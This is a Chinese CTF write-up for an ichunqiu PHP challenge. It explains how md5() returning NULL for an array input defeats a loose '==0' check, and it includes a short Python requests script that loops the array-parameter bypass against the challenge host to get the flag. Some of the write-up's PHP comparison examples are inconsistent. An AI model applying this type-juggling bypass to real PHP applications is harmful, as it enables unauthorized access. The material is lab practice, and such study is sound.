https://www.ichunqiu.com/writeup/detail/345
先做一做,然后再看wp
源码
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
//这个每隔120秒换一次,
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
//这个 mt_rand()是返回随机整数的意思。上面这两行,就是从a-z中任意选两个字符,连接在一起
//substr(string,start,length),
/*如果session的whoami的值和参数value的前两位相等 并 且 value变量的第5位开始往后4位等于0
nums就+1,whoami更新,当nums>=10的时候,echo flag*/
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;//两个随机的字母
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
一、学到的其他的知识。。。:
- 传参的时候,没有注意看代码,直接传的是字符串,其实应该传入数组的。
- 对md5不够敏感,看到md5,有和0比较什么的,要想一想数组绕过,或者0e或者硬碰撞什么的。
- 写脚本的时候要注意很多地方,这个题,比如,获取下一次的那两个字符,你要知道他们在哪里,然后再去获取。这个比较需要python的编程能力的
- 再就是python脚本的学习了呀
二、开始学习!
这个想要直接传入nums是不现实的。一是他不会这么简单,二是,你好好看代码就知道了。
我们传入value,session中的whoami会与value的前两个比较,
第一次传参:?value=ea
第二次传参:?value=be
???没了what**
后来发现需要传递数组value。。
如果随便的字符串进行md5加密后的5-9位组成的字符串不一定弱等于0. .。
字母开头的字符串 与 0 是弱等于的
var_dump(ac52D)" == 0 //bool(false)
但是数字开头的字符串就不是弱等于的了,
var_dump(5dbaD)" == 0 //bool(false)
所以从后面的判定来看,value就不能够传入字符串,
MD5函数,处理数组的话,会返回NULL,是==0的,所以要用数组来传参数,
所以
import requests
request = requests.session()
strs=['abcdefghijklmnopqrstuvwxyz']
url = "http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value[]=ea"
response = request.get(url=url)
# print(response.text)这个尝试用的,看那个response.text[:2]取前两位,为什么是前两位,因为页面最前面显示
# 的就是前两位是它下一步的字母,这样安排也是为了脚本方便编写。
for i in range(10):
url_1="http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value[]="+response.text[:2]
response=request.get(url_1)
print(response.url) #这个输出的是这个http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value%5B%5D=ea
if 'flag{' in response.text:
print(response.text)
刚开始学习脚本,,,
然后就有flag了